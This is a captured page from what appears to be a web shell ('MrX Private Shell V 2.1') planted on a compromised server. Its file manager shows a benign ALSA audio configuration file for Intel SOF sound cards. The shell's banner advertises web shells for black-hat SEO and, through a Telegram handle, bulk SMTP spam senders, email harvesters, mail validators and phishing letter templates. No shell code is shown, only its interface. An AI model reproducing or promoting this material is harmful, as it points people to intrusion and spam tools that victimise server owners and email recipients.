__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
Syntax 6

Include.card-init.File "/lib/card-init.conf"

Define {
	DeviceMic "Mic"
	DeviceDmic ""
	Iec61937Pcms1 ""
}

DefineRegex {
	Iec61937Pcms {
		Regex "iec61937-pcm:(([0-9]+(,))*[0-9]+)"
		String "${CardComponents}"
	}
}

If.devdmic {
	Condition {
		Type String
		Haystack "${CardComponents}"
		Needle "cfg-dmics:"
	}
	True {
		Define.DeviceDmic "Mic1"
		Define.DeviceMic "Mic2"
		FixedBootSequence [
			#
			# users expect to turn the LED on when only internal
			# mic is off, but it makes sense to turn this LED
			# when all internal inputs are off
			#
			sysw "-/class/sound/ctl-led/mic/card${CardNumber}/detach:Capture Switch"
			# dmic array info
			exec "-nhlt-dmic-info -o ${var:LibDir}/dmics-nhlt.json"
		]
	}
}

SectionUseCase."HiFi" {
	File "/Intel/sof-hda-dsp/HiFi.conf"
	Comment "Play HiFi quality Music"
}

# the kcontrols initial values, which will be set by `alsactl init`

If.amute {
	Condition {
		Type ControlExists
		Control "name='Auto-Mute Mode'"
	}
	True.BootSequence [
		cset "name='Auto-Mute Mode' off"
	]
}

If.master {
	Condition {
		Type ControlExists
		Control "name='Master Playback Volume'"
	}
	True.BootSequence [
		cset "name='Master Playback Volume' 60%"
		cset "name='Master Playback Switch' on"
	]
}

If.speaker {
	Condition {
		Type ControlExists
		Control "name='Speaker Playback Volume'"
	}
	True.BootSequence [
		cset "name='Speaker Playback Volume' 60%"
	]
}

If.DellMuteLed {
	Condition {
		Type String
		Haystack "$${sys:class/leds/platform::mute/device}"
		Needle "dell-laptop"
	}
	True {
		FixedBootSequence [
			sysw "-/class/sound/ctl-led/speaker/card${CardNumber}/attach:Master Playback Switch"
		]
	}
}

If.headphone {
	Condition {
		Type ControlExists
		Control "name='Headphone Playback Volume'"
	}
	True.BootSequence [
		cset "name='Headphone Playback Volume' 60%"
	]
}

If.dmic {
	Condition {
		Type String
		Empty "${var:DeviceDmic}"
	}
	False.If.Dmic0 {
		Condition {
			Type ControlExists
			Control "name='Dmic0 Capture Volume'"
		}
		True.BootSequence [
			cset "name='Dmic0 Capture Volume' 70%"
			cset "name='Dmic0 Capture Switch' on"
		]
	}
}

If.Capture {
	Condition {
		Type ControlExists
		Control "name='Capture Switch'"
	}
	True.BootSequence [
		cset "name='Capture Volume' 60%"
		cset "name='Capture Switch' on"
	]
}

Include.hdmi-pcm.File "/common/pcm/hdmi.conf"

If.Hdmi3-iec61937 {
	Condition {
		Type RegexMatch
		Regex "((^|,)[3](,|$))"
		String "${var:Iec61937Pcms1}"
	}
	True.Macro.hdmi3.HdmiPCM { Device 3 Index 0 }
}

If.Hdmi4-iec61937 {
	Condition {
		Type RegexMatch
		Regex "((^|,)[4](,|$))"
		String "${var:Iec61937Pcms1}"
	}
	True.Macro.hdmi4.HdmiPCM { Device 4 Index 1 }
}

If.Hdmi5-iec61937 {
	Condition {
		Type RegexMatch
		Regex "((^|,)[5](,|$))"
		String "${var:Iec61937Pcms1}"
	}
	True.Macro.hdmi5.HdmiPCM { Device 5 Index 2 }
}

If.HdmiIec61937 {
	Condition {
		Type RegexMatch
		Regex "((^|,)[345](,|$))"
		String "${var:Iec61937Pcms1}"
	}
	True.Macro.save_hdmi_cfg.HdmiPCMSave { Name "42-sof-hdmi" }
}

Filemanager

Name Type Size Permission Actions
sof-hda-dsp.conf File 2.93 KB 0644
sof-skl_hda_card.conf File 2.93 KB 0644
Filemanager